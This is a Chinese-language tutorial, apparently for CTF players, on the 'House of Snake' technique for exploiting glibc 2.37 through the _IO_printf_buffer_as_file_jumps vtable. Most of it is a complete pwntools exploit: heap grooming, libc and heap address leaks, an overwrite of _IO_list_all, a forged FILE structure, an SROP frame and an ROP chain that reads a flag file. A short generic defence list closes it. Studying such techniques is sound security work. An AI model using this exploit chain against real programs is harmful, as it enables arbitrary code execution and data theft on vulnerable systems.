glibc2.37高版本io利用之House of Snake
字数 1853 2025-08-22 12:22:48
House of Snake - glibc 2.37高版本IO利用技术分析
一、技术背景
House of Snake是针对glibc 2.37版本中新增的_IO_printf_buffer_as_file_jumps虚表结构的一种利用技术。在glibc 2.37中,_IO_obstack_jumps被移除,但新增了_IO_printf_buffer_as_file_jumps这个新的_IO_jumps_t结构体。
二、关键数据结构分析
1. _IO_printf_buffer_as_file_jumps虚表结构
static const struct _IO_jump_t _IO_printf_buffer_as_file_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, NULL),
JUMP_INIT(overflow, __printf_buffer_as_file_overflow),
JUMP_INIT(underflow, NULL),
JUMP_INIT(uflow, NULL),
JUMP_INIT(pbackfail, NULL),
JUMP_INIT(xsputn, __printf_buffer_as_file_xsputn),
JUMP_INIT(xsgetn, NULL),
JUMP_INIT(seekoff, NULL),
JUMP_INIT(seekpos, NULL),
JUMP_INIT(setbuf, NULL),
JUMP_INIT(sync, NULL),
JUMP_INIT(doallocate, NULL),
JUMP_INIT(read, NULL),
JUMP_INIT(write, NULL),
JUMP_INIT(seek, NULL),
JUMP_INIT(close, NULL),
JUMP_INIT(stat, NULL),
JUMP_INIT(showmanyc, NULL),
JUMP_INIT(imbue, NULL)
};
2. __printf_buffer_as_file结构体
struct __printf_buffer {
char *write_base;
char *write_ptr;
char *write_end;
uint64_t written;
enum __printf_buffer_mode mode;
};
struct __printf_buffer_as_file {
/* Interface to libio. */
FILE stream;
const struct _IO_jump_t *vtable;
/* Pointer to the underlying buffer. */
struct __printf_buffer *next;
};
3. __printf_buffer_obstack结构体
struct __printf_buffer_obstack {
struct __printf_buffer base;
struct obstack *obstack;
char ch;
};
三、利用链分析
1. 关键函数调用流程
_IO_flush_all_lockp调用_IO_OVERFLOW(fp, EOF)- 跳转到
__printf_buffer_as_file_overflow函数 - 调用
__printf_buffer_as_file_commit - 调用
__printf_buffer_flush - 调用
__printf_buffer_do_flush - 调用
__printf_buffer_flush_obstack - 调用
obstack_1grow宏 - 调用
_obstack_newchunk - 调用
CALL_CHUNKFUN宏
2. 关键条件检查
在__printf_buffer_as_file_overflow函数中:
file->next->mode != __printf_buffer_mode_failedfile->next->write_ptr == file->next->write_end
在__printf_buffer_as_file_commit函数中:
file->stream._IO_write_ptr >= file->next->write_ptrfile->stream._IO_write_ptr <= file->next->write_endfile->stream._IO_write_base == file->next->write_basefile->stream._IO_write_end == file->next->write_end
在__printf_buffer_flush函数中:
file->next->mode = __printf_buffer_mode_obstack
在__printf_buffer_flush_obstack函数中:
buf->base.write_ptr == &buf->ch + 1(即file->next.write_ptr == &(file->next) + 0x30 + 1)
在obstack_1grow宏定义中:
(struct __printf_buffer_obstack *)file->obstack->next_free + 1 > (struct __printf_buffer_obstack *)file->obstack->chunk_limit(struct __printf_buffer_obstack *)file->obstack->use_extra_arg != 0
四、利用步骤详解
1. 堆布局准备
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
free(2)
free(0)
edit(2, 'a')
show(2)
2. 泄露libc地址
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96 + ord('a'))
info("libc base: " + hex(libc.address))
3. 泄露堆地址
edit(2, b'\x00')
show(0)
heap_base = u64(io.recvuntil((b'\x55\x55'))[-6:].ljust(8, b'\x00')) & ~0xFFF
info("heap base: " + hex(heap_base))
4. 修改IO_list_all指针
add(0, 0x418)
edit(2, p64(0)*3 + p64(libc.sym['_IO_list_all'] - 0x20))
free(0)
add(0, 0x408)
edit(2, p64(libc.sym['main_arena'] + 1104)*2 + p64(heap_base + 0x6d0)*2)
add(2, 0x428)
5. 构造伪造的IO_FILE结构
file_addr = heap_base + 0x6d0
payload_addr = file_addr + 0x10
frame_addr = file_addr + 0x168
rop_addr = frame_addr + 0xf8
buf_addr = rop_addr + 0x60
obstack_addr = file_addr + 0x110
ch_1_addr = obstack_addr + 8 + 1
fake_file = b""
fake_file += p64(1) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(ch_1_addr) # _IO_write_ptr
fake_file += p64(ch_1_addr) # _IO_write_end
fake_file += p64(0) # _IO_buf_base
fake_file += p64(0) # _IO_buf_end
fake_file += p64(0)*4 # from _IO_save_base to _markers
fake_file += p64(0) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(frame_addr) # _old_offset
fake_file += p16(1) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(file_addr + 0x10) # _IO_wide_data_1
fake_file += p64(0)*3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00"*19 # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00') # adjust to vtable
fake_file += p64(libc.address + 0x1d2ae0) # fake vtable
fake_file += p64(file_addr + 0xe8) # next
fake_file += p64(0) # write_base
fake_file += p64(0) # write_ptr
fake_file += p64(ch_1_addr) # write_end
fake_file += p64(0) # written
fake_file += p64(11) # mode
fake_file += p64(obstack_addr) # obstack
fake_file += p64(0)*6
fake_file += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'), executable=True))) # chunkfun
fake_file += p64(0) # freefun
fake_file += p64(frame_addr) # extra_arg
fake_file += p8(1) # use_extra_arg
6. 构造SROP帧和ROP链
frame = SigreturnFrame()
frame.rdi = buf_addr
frame.rsi = 0
frame.rsp = rop_addr
frame.rip = libc.sym['open']
frame = bytearray(bytes(frame))
frame[8:8+8] = p64(frame_addr)
frame[0x20:0x20+8] = p64(libc.sym['setcontext'] + 61)
frame = bytes(frame)
# ROP chain
rop = b""
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(3)
rop += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(next(libc.search(asm('pop rdx; pop r12; ret;'), executable=True)))
rop += p64(0x100)
rop += p64(0)
rop += p64(libc.sym['read'])
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(libc.sym['puts'])
7. 构造完整payload并触发
payload = b""
payload += fake_file
payload = payload.ljust(frame_addr - payload_addr, b'\x00')
payload += frame
payload = payload.ljust(rop_addr - payload_addr, b'\x00')
payload += rop
payload = payload.ljust(buf_addr - payload_addr, b'\x00')
payload += b'./flag\x00'
edit(2, payload)
io.sendafter("choice:", "5")
io.interactive()
五、技术要点总结
- 利用glibc 2.37新增的
_IO_printf_buffer_as_file_jumps虚表结构 - 通过伪造IO_FILE结构体控制程序执行流
- 利用
__printf_buffer_as_file_overflow函数中的__printf_buffer_flush调用链 - 最终通过
obstack_1grow宏中的CALL_CHUNKFUN实现任意代码执行 - 结合SROP和ROP技术实现完整的利用链
六、防御措施
- 及时更新glibc版本
- 启用堆保护机制如ASLR、FORTIFY_SOURCE等
- 对用户输入进行严格验证
- 避免使用不安全的函数如
gets、scanf等